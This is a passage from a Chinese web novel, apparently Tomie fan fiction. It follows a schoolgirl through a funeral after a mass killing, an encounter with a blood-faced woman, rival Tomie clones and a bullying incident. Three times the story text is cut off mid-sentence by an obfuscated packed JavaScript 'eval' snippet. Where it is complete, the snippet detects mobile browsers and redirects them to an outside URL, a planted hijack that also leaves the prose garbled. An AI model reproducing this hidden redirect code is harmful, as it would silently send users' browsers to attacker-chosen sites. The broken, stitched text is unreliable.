少年眯起了眼睛,表情难得有些愉悦。 这次是他喜欢的口味。 11.第十一章 浅岛惠所犯案件的调查结果很快就出来了。 初步结果是,浅岛惠罹患严重的精神疾病,于是错手杀害了家中的人,并且放火打算烧毁一切毁尸灭迹,然而在短暂的清醒之后,她意识到了自己闯下弥天大祸,一时接受不了就自杀了。而大火被扑灭后,在烧毁的房屋中一共找出了至少十具残骸,因为燃烧过度已经几乎无法辨别DNA,只能通过院内失踪的人口数量来判断死者。 这至少十个的死者里面,有三人是浅岛家的佣人,还有至少七人以上的残骸,尚不确定身份。 事件还在进一步调查中。 白石芽衣知道,那些尚不确定身份的残骸,一定就是自己在那个红色行李箱里面看到的人类残肢。 难道一切一切更早地可以追溯到追溯在那天在酒店吗? 如果那个时候她遵循自己的内心,走过去查看一下那个行李箱,事情会不会就会变得不一样呢? 不过这些都已经是后话空话了,事情已经发生,再沉湎过去显然是不切实际的。 所以白石芽衣在接到浅岛惠的葬礼邀请时,忍不住恍惚了片刻,但也只是片刻,最终归于沉默无言。 浅岛惠的葬礼在两日之后。 因为涉及到白石芽衣,浅岛家刻意差遣了人过来道歉,也许当中白石芽衣的父亲还与浅岛家做了一些其他的利益交换。总之,为了考虑到两家对外的关系,白石芽衣还是来参加了浅岛惠的葬礼。 看得出来浅岛惠在家中相当受宠,即便在发生了这样堪称是足以盯上耻辱柱的家族丑闻后,前来参加葬礼的人还是不少。 当中应该有不少都是浅岛家各种斡旋之下,才说动过来,白石芽衣所代表的的白石家正是其中一员。 葬礼上,她还看见有不少学校同学的熟悉面孔。 不知道的还以为,浅岛惠生前是多么受欢迎的人。 不过,富江那家伙怎么也来了? 倒不是说有多么惊奇,毕竟她也清楚川上富江和浅岛惠是同班同学,两人有过交集实属正常。但那家伙向来不把其他人放在眼中,无论是如何对他谄媚献好,各种殷勤,他也是随心所欲,高兴的时候多给几个眼神,但大部分时候都是置若罔闻,冷漠到了极点。 只有在自己被烦的不行的时候,才会屈尊降贵一般开口嘲讽那些靠近他的人。 不巧,事情发生之前,浅岛惠就是被他狠狠嘲讽的其中一员。 这么想想,一切的导火索都是因为这家伙当时的口无遮拦啊…… 白石芽衣内心有点微妙。 尤其是少年罕见地穿着一身黑色西装,在这个阴郁灰拜的阴雨天里面,显得越发地寂寥冷清,黑色的雨伞为他隔绝出一个遗世独立的空间,看上去难以接近。 即便是一身沉重的黑色,仍然无碍他脸上的姝色,尤其是轻薄艳丽的嘴唇,宛若盛开的玫瑰花,成为这个灰蒙蒙、阴测测的天气中唯一一抹靓丽的风景。 很多人都明里暗里地注视着少年,仿佛他才是这场黑色宴会的主人公。 而他们都是为他慕名而来的宾客。 白石芽衣正思索着,准备收回思绪的瞬间,冷不丁就对上少年抬眸望来的视线。 双目对视的瞬间,黑发少年的嘴角勾起若有似无的弧度,难以察觉,然而与此同时,白石芽衣也感受到了其他人对她投来的视线,就好像和富江对视也是什么十恶不赦的罪过似的。 白石芽衣只能慌张地撇开视线,逼迫自己将注意力放在葬礼的仪式上。 浅岛家的先祖都葬在家族陵墓里面,陵墓就在浅岛家的后山,浅岛惠自然也是要埋葬在此处。她的棺木摆在最前方,就等亲人朋友见完她的最后一面,就入土为安。 她的直系亲人都站在最前面,为每一个缅怀遗容的来宾鞠躬致谢。 亲疏有别,最先上前探望的是浅岛家的亲戚,接着才是朋友同学。 因为白石家的缘故,白石芽衣也混入了亲人的行列,得以提前上去。 她走上前去,将手里的白色菊花放在桌子上,棺木里的浅岛惠面容安详,一点都看不出来死前那种癫狂自杀的模样。 “家属谢礼——” 正当浅岛家的人鞠躬致谢的时候,白石芽衣感到一阵奇怪的视线聚焦在自己身上,顺着视线看过去,只见一个黑发女人正笑着看着自己。 女人如同瀑布一样的黑色长发披散在脑后,一双漂亮的桃花眼正紧紧地看着她,那眼神不像是正常的观察或者注视,反而像是猎人一般的眼神,而她就是她所看中的猎物。 白石芽衣被那双直勾勾的眼睛看得心底直发毛。 那女子虽然也穿黑色丧服,站在直系亲属一列致谢来宾,胸口却没有佩戴白花,说明她并非是真正的浅岛家人。 不是家人却能站在那里,那大概就是浅岛的继承人,也就是浅岛惠哥哥的未婚妻了。 不过,她的眼神到底是怎么回事? 一副跃跃欲试马上就要冲上来吃掉她似的... 不能是有什么奇怪的癖好吧? 想到这里,白石芽衣立马低头弯腰,看似是回礼浅岛家家属实则是借机错开女子的视线。 而一回头,又再次对上了富江那张脸。他明明站在最后面,但是最惹人注目,以至于白石芽衣一转头就看见了他,也只看见了他。 只是黑发少年的神色很阴沉,正神色不善地看着她。 誰又惹他了? * 葬礼到了后半段,白石芽衣有点无聊,便独自一人在外面闲逛。 大火烧毁的房屋已经用黄线围了起来,禁止靠近。白石芽衣拐道去后院,却不料被富江堵在了半路。 黑发少年伫立在树下,整个人融在了阴影当中,看上去难以捉摸。 一开始白石芽衣根本没能发现对方,直到她差点越过对方离开,才听见他的声音阴恻恻地从后方传来。 他喊了她一声:“白石芽衣。” 白石芽衣被吓得差点原地弹起,回头一看是富江,才松了一口气,“吓死了,你怎么躲在这里?” 然而少年没有回答她的话,只是看着她,质问道:“你刚才在回避我的视线。” 黑眸眼底,隐隐约约还藏了一丝幽怨的神色。 白石芽衣没看出来,只是耿直地回答道:“...我不想惹麻烦。” 不过她这话一出,又轮到少年继续不高兴了,之间他朝着女孩逼近。 白石芽衣下意识往后退,可没退两步,后背就碰上了树干,她退无可退了。少年逐步蚕食她的安全领域,直到两人之间的距离变得很近很近,近到对方呼出的气息能够清晰地被她所感知到。 冰凉的,就好像他这个人一样。 她没由来地感到一阵紧张,并且开始口干舌燥。 少年停下,语气变得越发危险,反问:”你觉得我是个麻烦?” 白石芽衣这下哪里还不懂,当下就解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他收敛住脸上的笑,又变回那冷清难以接近的模样,只是表情多了一些难以察觉的认真,他郑重其事重复道, “芽衣,我会保护你的。” 少女没能察觉少年神色微妙的变化,也不清楚这承诺背后的沉重和可怕之处,她正做贼心虚,又暗自庆幸自己又渡过一劫。 哪料下一刻,少年却一把将她拉到树的后面,伏在她耳后边低声道:“芽衣,看好了,这就是我第一次保护你。” 以后还会有很多很多次。 他会保护她的。 想到这里,少年悄然勾起了嘴角,像是发现了什么新奇的游戏似的,乐在其中。 白石芽衣不明所以,正准备开口询问,少年却不动声色给她比了个嘘声的手势,视线越过她看向前方。 一个穿着黑色连衣裙的女人走了过来,对方表情因为过度兴奋而扭曲变形,在无人的小路上上蹿下跳,似乎在捕捉着什么东西东西似的,然而周围什么都没有。 那人忽而扑倒在地上,下一刻她好像抓到了什么似的,竟然抓着空气啃咬起来。 片刻后,她忽然停下动作,若有所思地看向了白石芽衣和富江隐藏的位置。 看清那女人的样子时,白石芽衣惊得呼吸一滞。 只见对方的五官中缓缓流出鲜血,不是别人正是刚才一直盯着她看的奇怪又漂亮的女人。 12.第十二章 * 浅岛雄大是浅岛家的长子,也是板上钉钉的浅岛家继承人。 所以早就十八岁成年之后,就开始陆续参与并接管家里的部分生意,嫌少住在家里。事发的时候,他正在国外参加一场重要的会议,听闻家中发生的惨剧,结束会议的他第一时间就回国,然而等待他的却是被大火燃尽的断壁残垣,以及小妹冰冷的尸体,还有陷入杀人丑闻泥潭的浅岛家。 不过有时候世事微妙,有失就会有得。 就在他焦头烂额处理这些事务的时候,他遇见了自己一生中的最爱——美咲。 彼时他正因为记者媒体的胡乱报道而头痛欲裂,便想着去宅子的后山处散散步,顺便呼吸一下新鲜的空气。 他就是那里第一次遇见了美咲。 美咲站在后山的小道上,此处是浅岛家的私人领地,一开始他以为是迷路至此的游客,想着好心上去询问是否有可以帮忙的地方,哪知道女孩一转过脸,反倒是把他吓得瘫坐在地上。 只见女孩的脸上,眼睛,鼻子,嘴巴,甚至两边的耳朵里都流淌着鲜血,整个人看上去好像遭受了什么可怕的事件一样。 “你、你还好吗?请稍等一下,我马上叫救护车……”他好半天才找回声音和理智,忙不迭掏出手机就准备要报警。 女孩却阻止了他,她半蹲在浅岛雄一面前,从口袋里掏出手帕一边擦着一边解释:“请不要麻烦救护车…这都不是我的血,应该说,这并不是人血,是我参加的话剧团的道具血浆,抱歉,吓到你了……还可以站起来吗?” 她朝他伸出手,而此刻,血迹擦掉后,女孩那张姣好如同天使般的脸完整地显现在他的眼前,即便是他也不由地恍惚了好一会儿。 直到瞥见女孩嘴角那揶揄的弧度,他才如梦初醒,心里暗道自己竟然在如此美丽的女孩面前失礼,羞得后耳根都有些发红。 “呵呵,你好,我的名字是宫美咲。” “你、你好,我是浅岛雄大!” 这就是两人最开始相识的过程。 根据交谈得知,美咲是东京某个剧团内的演员,最近正沉浸在一个恐怖惊悚类的新剧本,所以特意来这边寻找灵感,结果不小心误入了浅岛家的私人领地。 两人聊得很好,加上浅岛雄大有意使之,两个人几乎是火速就确认了关系。 从认识到相恋,不过短短两三天。 不过这也是因为两人之间无论是志趣、还是性情都相投,加上美咲长得好看,如此快速地坠入爱河倒也不是什么稀奇之事。 浅岛雄大相信,这是上天注定的缘分,让他们相遇,于是便越发珍惜和对方的缘分。 只是相处一段时间后,对美咲的了解也越深,除了对这个女人迷恋之后,也发现了对方身上的一些奇怪之处,比如说她时常会盯着空气发呆然后表情变得非常的贪婪兴奋,又或者偶尔她会消失在视线,然后在无人的小道上自言自语...... 比如说此刻,刚应付完所有前来参加葬礼的宾客,浅岛雄大就发现美咲不见了。 出于担忧,他便四处寻找,最后在后院的石子路上发现了对方。 “美咲,原来你在这里,真的吓....诶?你的脸怎么回事?” 浅岛雄大再次被那张布满鲜血的脸吓了一跳,女人脸上的血液已经开始干涸,呈现出血褐色,稍微靠近就能闻见那股腥臭的气味,然而女人似乎毫不在意,一双黑色的桃花眼炯炯有神,脸上呈现出一种超乎寻常的餍足之势。 他没有多加怀疑,只以为她又开始自顾自地寻找舞台剧的灵感,又开始摆弄那些道具血浆,便掏出自己随身携带的手帕递给她,“...先快去卫生间清理一下,餐点时间开始了,美咲你一天都跟着我们忙来忙去的,真是辛苦你了....” “辛苦?”美咲捏着手里的手帕,捂着嘴低低笑了出声,随后说到,“怎么会辛苦呢...我已经在这里得到了我最想要的回报了...我很满意哦,雄大,谢谢你带我来这里...” 在被手帕遮挡住的下面,女孩伸出猩红的舌尖,意犹未尽地舔舐着自己嘴唇。 浅岛雄大有些不明所以,但他还天真地以为这是美咲已经愿意成为他家的一份子的象征,愣了片刻后笑的跟个愣头青似的,两人并肩就要离开此处。 “对了,惠妹妹的遗体已经安顿好了吗?” “嗯,结束了,唉.....” “是啊...雄大不要难过,也许,惠妹妹的灵魂,从来没有离开过这里哦......” “美咲,谢谢你一直陪着我...” ...... 两人交谈的声音越来越小,最后完全消失在后院,白石芽衣这才悄悄地从大树后面探出头去张望,确认他们已经离开之后,她才终于松了一口气。 而身边的富江则是表情冷淡,看着美咲和浅岛雄大离开的方向,似乎在思索着些什么。 “原来那位小姐是浅岛雄大的女友,不过据说他读书时代就已经和小泉家的千金订婚,莫非他们之间婚约有变了吗?“ 要是成为背信弃义的一方的话,那浅岛雄大为了这位小姐,估计也牺牲了不少。 不过回想起来,美咲小姐刚才的状态,是不是就像动物一样捕猎,就连神态举止也像极了在撕扯啃咬着什么东西似的,可面前明明除了空气什么都没有。 真·喝西北风? 她自顾自想着,没留意到自己正自言自语着。 黑发少年听见她的话,忽而嘴唇勾起一抹不怀好意的笑容,靠在她耳边阴恻恻地开口:“...怎么会什么都没有呢...芽衣,你想,这里刚发生了如此可怕的命案,你说那些枉死的鬼魂,是不是还正日日夜夜徘徊在此处.....那些空气中无形的东西,和现世有着绝对界限的...” 他撩起女孩额前的随发,拨到后面去。 “...你说,现在会不会也有鬼魂,正在无声地看着我们?” 冰冷的触感自额头处不缓不慢,又像是漫不经心一般轻轻划过,一直到白石芽衣的耳朵后边,配合他说的话,竟然让她没由来感到一阵后背发凉。 就好像真的有无数双眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这日,她按照往常一样把巧克力交给对方后,因为还有风纪部还有事情要处理,便急匆匆地跟少年告别。 富江没说什么,好说话的让白石芽衣还有点不适应。 本来她还以为要跟少年再来上一段极限拉扯来着.... 哪知道刚拐进另一个方向的走廊,就被一股不容挣脱的力道拉进了旁边的空教室内。白石芽衣下意识想给对方一肘子,但目光瞥见少年那标志性的泪痣,还有那双黑曜石般美丽的眼睛瞬间,又生生收敛住。 怎么会是富江? 他刚才不是还在运动场那边..... 不过,眼下容不得她思考这么多,因为面前的黑发少年显然不知道被谁踩到了敏感的神经,脸色黑的几乎滴出墨汁来,黑色眼底仿佛酝酿着风暴,充斥了妒忌、不甘还有愤怒。 只听见他几乎是咬牙切齿,强忍着怒火质问道:“...你和那个废...” 对上少女那双不解又疑惑的眼神,他的话锋生生一转,变成了—— “我们之间是什么关系?” 语气如此迫切,又如此紧张。 还有一点诚惶诚恐。 主语要是稍稍一变,活像是质问妻子和小三之间是什么关系的即视感。 白石芽衣缓缓打出了个“?”。 13.第十三章 在医院躺了三天都没有等到女孩回来探望他的川上富江坐不住了。 第一天,他还在想也许她只是很忙,晚点会来的。 结果他从天亮等到天黑,又再次等到天亮,对方还是没有出现。 第二天仍然没有等到女孩,他就开始忍不住想道,她难道已经忘记他了吗? 当然这样的想法一闪而过,随后又被他打消。他不相信这个世界上有人见过他之后,还能轻而易举将他忘记。 所以绝对不可能是把他忘了! 于是在思索中,时间悄悄来到了第三天,女孩还是没有出现,黑发少年,也许女孩不是故意不来,也不是忘了他,也许她只是死了。 毕竟从他的认知里面,只有死人才能摆脱名为‘川上富江’那如同诅咒一样的魅力。 如果不是死了,怎么会不来找他呢? 只是为什么,他会觉得这么生气呢? 他生气到把病房里一切能摔的东西都摔烂,前来关心他的护士医生通通都臭骂了一遍还不解恨,他决定自己去寻找答案。 主治医生森田拦住了他,“富江,你的手还没有好,伤到骨头的部分需要好好在医院静养才可以,你这是想要到哪里去呢?” 黑发少年一脸厌烦,在医生护士的注目下,将手臂上的石膏拆下,扔到对方身上,完美无瑕的手臂无所谓地在空中甩出优雅的弧度。 “那种程度的伤,不是我想好就能好的吗?全部滚开!”他无所谓地摆着手,全然不顾乱做一锅粥的病房,施施然离开了此处。 其实他的伤早就好了,如果他想,他在第一天的时候就可以痊愈出院,多留的这些日子,不过是希望借机让女孩多心疼他一下,好索取更多好处罢了。 可是她根本没来! 回想起来,这一切都是那个赝品的错,惹出那么多麻烦就算了,他自己让女孩陷入了如此的生死境界,他大法好心救了对方,没想到这个赝品还不知足,伸手恬不知耻拉着他的后脚跟,似乎也想让他葬身在那片火海当中,才害他绊倒摔断自己的手臂。 他摔断了自己的手,那赝品最后一点血肉被他一脚踢回去火海中,烧成了灰烬。 也算是一报还一报...... 而现在,最重要的是去找白石芽衣,就算是死了他也要看到对方的尸体! 烦躁的川上富江盲目地行走在大街上,时不时会有路人壮着胆子上千搭讪,但都被黑着脸的少年劈头盖脸臭骂一顿,惹得周围的人纷纷朝那些人投去异样的目光,只好铩羽而归。 少年没什么头绪,刚处理一个不知死活上来找不痛快的,忽而就瞥见路上的某个学生身上穿着和那天白石芽衣相似的校服,顿时就想到了来女孩所在的学校碰碰运气。 顶着这样的一张脸,他几乎是畅通无阻了来到了伊藤高中内部。 果不其然就见到了女孩。 活生生的,没有死。 身边还有一个‘川上富江’。 原来是一个该死的赝品蒙蔽了她的眼睛,难怪没有按照医院出现在医院。 他这样想着,忍不住妒火中烧,他没有第一时间责怪女孩,而是将满腔怨火倾注在那个惹人讨厌的赝品身上,尤其是当他看见女孩把原本答应给他的巧克力给了对方。 一瞬间,他想杀人的心都有了。 无耻的小偷!贱人! 他倒是要看看这家伙是如何蒙骗的女孩,然而当他试图像翻阅书籍一样翻阅对方关于白石芽衣的记忆时,却惊讶地发现时一片空白。 那人的记忆不与其他所有的‘富江’共享! 黑发少年的脑海中那根线终于逐渐浮现,并且越加清晰。 一切的怪异之处也就有合理之处。 难怪他翻遍那个葬身火海的赝品的记忆,始终觉得和女孩之间的回忆好像隔了一层纱似的,充满了不真切。 他们到底是如何认识的?又是何关系?为何会出现在那处…这一切通通解释未知。 原来是因为一开始和女孩有交集的是那个不合群的富江! 想来正是因为窥见到了这一点,那个该死的赝品才会对女孩投去那么多的关注和好奇,甚至愿意把自己也搭进去。 原来如此…原来如此…… ‘川上富江’是被诅咒的怪物,就好像是坏掉的癌细胞一样,不受控制地反复繁殖、增生,也许只是一根头发丝儿,又或者只是一个细微的伤口所流出来一滴血,都有可能不受控制地分裂成一个全新的富江。 他们从彼此当中诞生,又憎恨着彼此,大部分时候他们天南地北地行动着,互不打扰。 但一旦碰见彼此,那必须得争个你死我活。 只因他们都认为自己才是真正的、唯一的‘川上富江’。 而赝品都不配活着。 若是偷鸡摸狗、苟活在他们看不见的阴暗角落,像只下水道不见天地的臭老鼠一样夹着尾巴做人,他们当然不会费劲赶尽杀绝对方,毕竟下水道臭老鼠这么多,全部杀光要花那么多时间精力,有这个时间,不如多去游戏一下人生。 而理论上,他们都诞生于同一个细胞,彼此之间的记忆是互通的。 只要他们想,他们可以随时翻阅这个世界上任何一个富江的记忆,不过出于对彼此的厌恶,还有对自身唯一性和正统性的认可,他们向来不会主动做这件事。 但有些富江是例外。 据说在这个名为‘川上富江‘能够无限繁殖增生的怪物诞生之后,曾经有过一段如同田园般的时代,那时候‘富江’的分裂是可控的,并且能够保留自身的一些特性,比如不与其他人共通记忆,他们称之为始祖代。 但是那一代的富江据说早就灭绝,后面诞生的富江就好像是低劣的模仿者,又像是降级的后代,分裂不可控,就连记忆都要与其他的赝品共享… 没想到那一代居然没有死绝…还有这么一个死剩种! 女孩最先认识的是这个富江! 所有那些他无法得以窥探的过去、秘密,女孩和他之间的关系,甚至曾经做过何种亲密的事情……都存放在那个贱人的脑海里,就好像是上了他绝对无法打开的锁的门,而他根本没有被邀请入内的资格! 光是想到这一点就让他恨得抓耳挠腮,恨不得把那个贱人的脑子砸烂,像僵尸一样吃掉对方给的脑子,或许这样就能获得那份珍贵的记忆。 凭什么? 凭什么那家伙要这么特别? 所以黑发少年在暗中目睹了这一切之后,终于在女孩拐到无人的走廊时,一把将对方拉了进来。 他当然迫切又渴望从女孩嘴里知道他们的关系,最好是事无巨细每一句话每一个词都清清楚楚告诉他,然后他会告诉她外面的富江是假的,是个坏人,就好像他们惯用在其他人的身上的伎俩,指使那些人帮他干这种杀害赝品的脏活累活。 可是话一到口,他又 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白石芽衣全然不知对方内心的激荡,快速地抽回,撇开视线示弱一般说道:“...我知道最近我有点忙着比赛还有学习的事情,忽略了你的感受…但你不要说这种气话好吗?你之前不是答应了会保护我的吗/这样,我们周末就去约会吧…至于我们之间的关系,等我忙完那个重要的比赛,我会找个很好的时机郑重地宣告的……好吗?” 忙完比赛,再郑重地宣告分手。 她是这样想的。 但不知道少年会不会接受她的这套说辞,内心正忐忑着。 哪知道少年不语,只是一味地盯着她看,随后奇怪地问道,“芽衣,你怎么脸这么红?” 不问还好,这个问题一出,女孩的脸又红上几分,像是鲜嫩的桃子一样。 甚至有点想咬一口看看是不是会流出汁水。 可他还没把这不要脸一般的话说出口,就听见女孩略带别扭地回答道:“…因为这是我第一次亲人…” 哦,原来是第一次…竟然是第一次! 第一次第一次第一次第一次第一次第一次…… 这三个字就好像一把钥匙,不仅解开他心头的郁结,由此还开启了一扇崭新的大门—— 一道不需要去窥视和嫉妒那个死剩种的记忆的新大门! 如果在对方的眼皮底下,他能把女孩所有的‘第一次’都占为己有的话,那家伙绝对会气的跳脚吧? 最重要的是,凭什么要让那个家伙成为一个特别的‘富江’,为什么这个‘特别‘的富江不能是他呢? 对,只要把女孩的所有第一次都抢过来,占为己有的话…… 这样想着,他那双如同冥河水般死寂的黑眸,闪过火焰般的光芒,他压抑着自己的兴奋,还有激动之意。 他忍不住舔了舔略显干涩的红唇,语气鬼魅道:“当然,我当然会保护的芽衣的…不过,芽衣也应该付出一点微不足道的甜头给我,芽衣说对吗?” “……当然,不过是什么甜头?”白石芽衣有些防备。 少年却毫不在意,只是伸出青葱般的指尖,指了指另外一边的脸颊,“这边的第一次,也要给我……” 白石芽衣:“……” 喂喂喂、这家伙完全是在得寸进尺吧?! 14.第十四章 因为富江的缘故,学校的骚乱事件越发频繁,大部分情况下都是一大群人针对某个人、或者某几个人进行的集体霸凌,一开始大家都只是动动嘴皮子,冷嘲热讽个几句,最后就变成了集体针对…… 整个风纪部的成员因此工作量大增,而白石芽衣也几乎每天脚不着地在校园各处处理各种大大小小的违纪事件。 好不容易能消停一会,回到风纪部,就看见罪魁祸首不知怎么进来的,正大摇大摆地坐在位置上喝着奶茶。 那是她买来犒劳风纪部的成员最近的辛苦工作的小礼物。 而她因为一直在跑来跑去,其他人就把她的那杯放在桌子上,哪曾想倒是白白便宜了对方。 而面前的少年丝毫没有半点不好意思,甚至见了白石芽衣,随手将杯子扔进垃圾桶里,神色不悦地评判道:“难喝死了,完全劣质茶混着劣质奶精,还有糖精……” “……” 白石芽衣看着垃圾桶那空空如也的杯子,陷入了沉默。 这已经是她在学校周围就近能买到最好的奶茶了…… 而且难喝他干嘛还要全部喝掉?! 但她已经累得失去力气和手段跟对方争辩,而且运动让她几乎消耗掉了身体大部分的能量,现在正有点头脑发虚,只能有气无力地开口:“...那还真是委屈你把奶茶全都喝掉了…” “你人还怪好的嘞...” 黑发少年丝毫没有察觉她话外之音似的,眉毛轻抬,一副理所当然的模样,轻轻发出‘嗯哼’的鼻音。 白石芽衣被彻底打败。 然而下一瞬间,一个东西忽然朝她所在的方向飞来,白石芽衣眼明手快地接住,才发现是一小包的...奶糖。 是一款价值不菲、口味很好的进口奶糖。 “芽衣可以吃这个。”他漫不经心说道,嘴角轻微扬起的笑意,带动着他眼角下的泪痣,好像夜空的星星一般有种神秘的吸引力。 黑色的眼底清晰地映出她的模样,表情看上去有点呆傻。 原来现在自己的表情竟然是这样的...... 白石芽衣愣了片刻,最后还是略显狼狈地低头错开对方的视线,奶糖的包装精美,一时间她竟然有种舍不得拆开的感觉。 开什么玩笑...这种程度的奶糖,她又不是没有吃过更好的... “谢谢你。”她的语气有些干巴巴,还是没有第一时间打开。 又听见富江的声音—— “那包奶糖味道不错,而且没有奶精味......那些废物也没别的用处了,不过今天似乎多了点眼力见,至少送了一样还算合心意的小东西,芽衣说对吗?” “.......” 得了,原来是他那些追随者送的。 白石芽衣心里莫名有股无名火升起,当下就拆开包裹往嘴里扔了一颗,醇厚的奶香瞬间在她口腔内壁蔓延开来。 是好吃的,毕竟是连川上富江这种挑剔又刁钻的人都说好吃。 她早就对此深信不疑的。 川上富江喜欢一切奢侈的享受,只有奢侈还不行,还要可以享受..... 只是为什么,吃着这个奶糖的时候,她有种网络上常见的‘我偷电瓶养你啊’的既视感? “确实挺好吃的,谢谢你。” 黑发少年得意地笑了。 不过白石芽衣还没有来得及坐下来,风纪部成员之一的美久便急匆匆地打开门,神色慌张又紧张,“白石学姐...二楼那边出事了,我们到办公室想找老师,但是这个点老师...老师们好像都下班了...” 白石芽衣只得将奶糖放在桌子上,然后急匆匆地跟着美久离开了。 ‘碰’地一声,门被关上,办公室内只剩下被遗落的川上富江一人。 他进入这个房间时夕阳正好,光线充足也就没有开灯,只是时间推移,外面的天色昏暗,整个房间早就蒙上一层青色的阴影,方才门开着,走廊的灯光还可以透进来使室内亮堂不少。 可女孩一走,门关上,连房间里的光也带走了不少。 黑发少年就站在一室的暗光内,低垂的睫毛为他的下眼睑蒙上一层阴影,也成功地少年眼底的暗色敛去,看不出喜乐。 整个人仿佛和这一片孤独的黑暗融为一体。 他看向桌子上被人遗落的奶糖,颇有种同病相怜的感觉。 * 白石芽衣还没到地方,远远地就看见二楼尽头的卫生间外面乌泱泱地围了一大片的学生,男男女女,把旁边的楼梯口都围得水泄不通。 而在最里面是另外几位风纪部的成员,正字苦口婆心地和众人交涉,但显然效果并不大,甚至相比气势汹汹的学生们显得尤为弱势。 根据美久所描述,起因是有人在学校论坛放了很多偷拍富江的照片,若是单纯的偷拍狂事情或许不会演变成这个样子,偏偏那些照片中的富江,都被恶意p上了恐怖的鬼脸。 富江的追随者们认为这是经过处理的照片是对富江本人的一种亵渎,是黑子在刻意抹黑对方的形象,于是就通过手段找到了发布这些照片的人,打定主意要给对方一个教训,便伙同了其他人一起把对方关进了二楼卫生间。 如非必要,白石芽衣很少会主动关注校园论坛,但听完整个事情之后,她也登上去找到了那个帖子。 里面有大量从不同角度拍摄的富江的照片。 照片中的黑发少年一如既往地美丽,无论是正面,侧面还是背影都完全无可挑剔。然而所有照片无一例外,每一张在瑰丽的像艺术品般的脸周围都会扭曲变形,就好像是一团软烂的肉糜,然后以此为培养皿,从里面长出了一张张恐怖又诡异的脸来。 画面有种绮丽又古怪的美感。 不过显然这绝无可能是正常的照片,唯一联想到的也只有后期处理,恶意ps了..... 而罪魁祸首是个男生,摄影部的副社长,因为试图邀请富江成为自己的模特而被当众狠狠拒绝,从而产生了这样的报复心理,试图通过这种方式来抹黑富江。 “白石学姐...我们劝了他们很久打开卫生间,但是他们都不愿意听,还说如果我们要掺一脚的话,也不会放过我们...学姐,现在怎么办?一开始里面争吵的声音还很大,可是到后面,里面就几乎没什么声音传出来了...我们担心里面的人...会不会已经.......” 美久的声音弱了下去,虽然有白石芽衣在这个事实让她安心了不少,但她的神色仍旧相当慌乱。 白石芽衣拍了拍她的肩膀,示意她冷静下来。 随后就挤进了人群当中,她一眼就看见堵在门口的学生,神色凝重,语气严肃道:“把门打开。” 守门人对她的话不屑一顾,一副硬是要她们僵持到底的样子。 白石芽衣也不废话,开始最后通牒,“...如果各位不愿意妥协,要继续把这件事闹大的话,我已经让人3分钟之后报警,如果各位想要一小时或者两小时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151100|164050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,用警局的电话联系各位的父亲或者母亲来警察局捞人,然后第二天新闻头条是‘某富家子弟深陷霸凌丑闻致人伤亡‘,然后股价大跌又或者影响诸位亲人的仕途的话,你们就继续吧.....” ”我现在开始计时。” 说着,她伸手撩开袖子,露出里面精美的机械表。 秒针一分一秒地跳动着。 白石芽衣表情冷凝,抬眸波澜不惊地扫向在场的人,见她们脸上出现了犹豫不决的神色,白石芽衣直到自己的警告起到了一定的震慑作用。 忽然,她目光锐利地扫到了人群后面一个熟悉的面孔。 是那位新来的戏剧老师相田美咲。 此刻,她嘴角含笑,表情掺杂着白石芽衣看不懂的情绪,既兴奋又期待。 就好像这一幕发生的,正是她所期待已久的一样,又像是一只饿坏的猫咪,正两眼放光地等待着被投喂食物。 白石芽衣被这样的表情惊到了。 但她还是故作镇定,等待着时间地过去。 然而三分钟马上就到头,进入倒数阶段,拦路的人还是丝毫没有退让的意思,这让白石芽衣不由地也紧张起来,预备做最坏的打算时,富江出现了。 “喂,你们很烦诶,能不能滚开,一大群人不要脸地聚集在这里,不知道自己呼出来的废气会让我感到呼吸不畅吗?最重要的是,你们挡住我去洗手间了...” 黑发少年不知何时跟了上来,冰冷的目光扫了所有人一眼,最后落在了白石芽衣身上。 有那么一瞬间,白石芽衣觉得自己也好想被他的那双毫无感情可言的眼神给冻住了,就好像坠入了无边的黑洞一般,无法逃离,呼吸不畅。 “...快点滚开。“他语气恶劣地对她们命令道。 白石芽衣回过神来,很想喊救命。 富江这样做真的不是在火上浇油吗? 然而明明是这么恶劣的态度,如此没有礼貌的话语,却让那些挡路的人如获圣旨一般,心怀感激地听令于他,竟然乖乖让开了路。 她堵上学校的名誉用那些话去压她们都没有成功,偏偏是他三言两语,就轻易做到了她没能做到的事情...... 白石芽衣手指都快掐出血来了,但他确实帮了一个大忙,她便朝他比了一个感激的眼神。 然而黑发少年却看也没看她,直直地越过她准备离开。 白石芽衣:? 这家伙怎么又好像生气了? 不过,眼下不是想这些的时候,白石芽衣率先打开了卫生间的门,里面的人有男有女,见了白石芽衣都不由露出了悻悻的表情,显然,她在外面说的话她们都听见了。 现在理智逐渐回笼,也终于知道害怕了。 其中一个人指了指最后的隔间,示意她人被关在那里。 门口用拖把的木棍卡住,从里面开不了。 白石芽衣把棍子取下来,门应声打开。 里面的男生浑身湿透,脸上也挂不了不少的彩,趴在马桶上一动也不动。 白石芽衣愣了一瞬,随后神情严峻地上前将晕厥过去的人弄出来,使他平躺在瓷砖上,又伸手探了探对方的呼吸。 没气了! 她一惊。 随即双手按压在对方胸前准备给他做心肺复苏。 没按几下,去而复返的少年阴沉着脸来到她面前,语气生硬,“让开,让我来,你别碰这个废物!” 白石芽衣:??? 15.第十五章 